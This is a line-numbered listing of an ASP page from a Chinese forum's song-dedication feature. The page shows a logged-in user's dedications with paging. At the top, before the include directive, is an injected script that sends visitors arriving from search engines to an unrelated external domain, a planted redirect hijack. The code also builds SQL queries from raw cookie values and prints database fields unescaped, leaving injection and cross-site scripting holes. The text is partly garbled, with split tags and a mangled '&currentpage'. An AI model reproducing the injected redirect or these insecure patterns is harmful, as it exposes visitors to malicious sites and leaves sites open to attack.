d:\wwwroot\wuchunhua\Z_dglistme.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="setup.asp" -->
002:
<!--#include file="z_dgconn.asp"-->
003:
<%
004:
005:
if Request.Cookies("username")="" then
006:
error("<li>您还还未<a href=login.asp>登陆</a>社区")
007:
end if
008:
009:
if instr(Request.Cookies("username")," ")>0 then:error("<li>非法操作"):end if
010:
011:
sql="select * from [user] where username='"&Request.Cookies("username")&"'"
012:
rs.Open sql,Conn,1,3
013:
014:
if Request.Cookies("userpass")<>rs("userpass") then
015:
error2("密码错误！")
016:
end if
%
>
017:
<%
018:
top
019:
%
>
020:
<title>点播祝福</title>
021:
022:
<table border=0 width=97% align=center cellspacing=1 cellpadding=4 class=a2>
023:
<tr class=a3>
024:
<td height=25> <img src=images/Forum_nav.gif>
<%
ClubTree
%
> → <a href="shop.asp">点播祝福</a></td>
025:
</tr>
026:
</table><br><html><head>
027:
<title>我的点播列表</title>
028:
029:
030:
<%
dim page_count,Pcount,totalrec,mytotalrec,totalPages,currentPage
031:
032:
set rs=server.createobject("adodb.recordset")
033:
set rs=connDG.execute("select count(sender) from [media]")
034:
totalrec=rs(0)
035:
rs.close
036:
set rs=connDG.execute("select count(sender) from [media] where incept='"&Request.Cookies("username")&"' or incept='全体会员' or sender='"&Request.Cookies("username")&"'")
037:
mytotalrec=rs(0)
038:
rs.close
039:
%
>
040:
<table width="97%" border=0 align=center cellpadding=3 cellspacing=1 class=a2>
041:
<tr class=a1 align=center>
042:
<td><a href=z_dglistall.asp><font color=red><b>所有点播列表</b></font></a></td>
043:
<td><a href=z_dglistme.asp><font color=red><b>我的点播列表</b></font></a></td>
044:
<td><a href=z_dgwrite.asp><font color=red><b>我要点播</b></font></a></td>
045:
</tr>
046:
<tr>
047:
<td class=a3 align=center valign=middle colspan="3" width=97
%>
你的祝福清单共有[<font color=red><b>
<%
=mytotalrec
%
></b></font>]个，<a href=z_dglistall.asp><b>论坛总点播列表</b></a>清单共有[<font color=red><b>
<%
=totalrec
%
></b></font>]个。<font color=green><直接点击歌名欣赏></font></td>
048:
</tr>
049:
</table>
050:
<br>
051:
<table width="97%" border=0 align=center cellpadding=3 cellspacing=1 class=a2>
052:
<tr class=a1 align=center>
053:
<td width=80>点播人</td><td width=80>对方姓名</td><td width=220>歌名</td><td width=120>时间</td><td width=*>祝福语</td><td width=50>操作</td>
054:
</tr>
055:
<%
056:
sql="select * from [media] where incept='"&Request.Cookies("username")&"' or incept='全体会员'or sender='"&Request.Cookies("username")&"' Order By sendtime Desc"
057:
rs.open sql,connDG,3,3
058:
if rs.eof and rs.bof then
059:
currentpage=0
060:
%
>
061:
<tr><td class=a3 valign=middle colspan=6>当前没有点播列表</td></tr>
062:
<%
063:
else
064:
065:
currentPage=1
066:
067:
if currentpage="" then
068:
currentpage=1
069:
else
070:
currentpage=clng(currentpage)
071:
if err then
072:
currentpage=1
073:
err.clear
074:
end if
075:
end if
076:
077:
rs.PageSize = 10
078:
rs.AbsolutePage=currentpage
079:
page_count=0
080:
totalrec=rs.recordcount
081:
while (not rs.eof) and (not page_count = rs.PageSize)
082:
%
>
083:
<tr>
084:
<td class=a3 align=center valign=middle><a href=javascript:openScript('dispuser.asp?name=
<%
=rs("sender")
%
>',650,500)><font color=blue>
<%
=rs("sender")
%
></font></a></td>
085:
<td class=a3 align=center valign=middle>
<%
if trim(rs("incept"))<>"全体会员" then
%
><a href=javascript:openScript('dispuser.asp?name=
<%
=rs("incept")
%
>',650,500)><font color=green>
<%
=rs("incept")
%
></font></a>
<%
else
%
><font color=olive>
<%
=rs("incept")
%
></font>
<%
end if
%
></td>
086:
<td class=a3 align=center valign=middle><a href=z_dgplay.asp?url=
<%
=replace(rs("url"),chr(32),"%20",1)
%
>&medianame=
<%
=replace(rs("medianame"),chr(32),"%20")
%
> target=_blank>
<%
=rs("medianame")
%
></a></td>
087:
<td class=a3 align=center valign=middle>
<%
=rs("sendtime")
%
></td>
088:
<td class=a3 align=left valign=middle><font color=red>
<%
=rs("content")
%
></font></td>
089:
<td class=a3 align=center valign=middle><a href=z_dgdel.asp?id=
<%
=rs("id")
%
> onclick="javascript:{if(confirm('您确定执行删除操作吗?')){return true;}return false;}">[删除]</a></td>
090:
</tr>
091:
<%
092:
page_count = page_count + 1
093:
rs.movenext
094:
wend
095:
end if
096:
%
>
097:
</table>
098:
<%
099:
dim endpage
100:
Pcount=rs.PageCount
101:
response.write "<table border=0 cellpadding=0 cellspacing=3 width=97% align=center>"&_
102:
"<tr><td valign=middle nowrap>"&_
103:
"页次：<b>"¤tpage&"</b>/<b>"&Pcount&"</b>页"&_
104:
" 每页<b>10</b>条 共有<b>"&totalrec&"</b>条点播</td>"&_
105:
"<td valign=middle nowrap><div align=right><p>分页： "
106:
107:
if currentpage > 4 then
108:
response.write "<a href=""?page=1"">[1]</a> ..."
109:
end if
110:
if Pcount>currentpage+3 then
111:
endpage=currentpage+3
112:
else
113:
endpage=Pcount
114:
end if
115:
for i=currentpage-3 to endpage
116:
if not i<1 then
117:
if i = clng(currentpage) then
118:
response.write " <font color=red>["&i&"]</font>"
119:
else
120:
response.write " <a href=""?page="&i&""">["&i&"]</a>"
121:
end if
122:
end if
123:
next
124:
if currentpage+3 < Pcount then
125:
response.write "... <a href=""?page="&Pcount&""">["&Pcount&"]</a>"
126:
end if
127:
response.write "</p></div></font></td></tr></table>"
128:
rs.close
129:
set rs=nothing
130:
'=========================
131:
%
>
132:
<table cellpadding=3 cellspacing=1 border=0 align=center class=a1>
133:
<tr>
134:
<td><font color=red>--== 论坛点播台-我的祝福列表 ==--</font></td>
135:
</tr>
136:
</table>
137:
<%
138:
call CloseDB()
139:
%
>
140:
141:
<%
142:
htmlend
143:
%
>
144:
145:
146: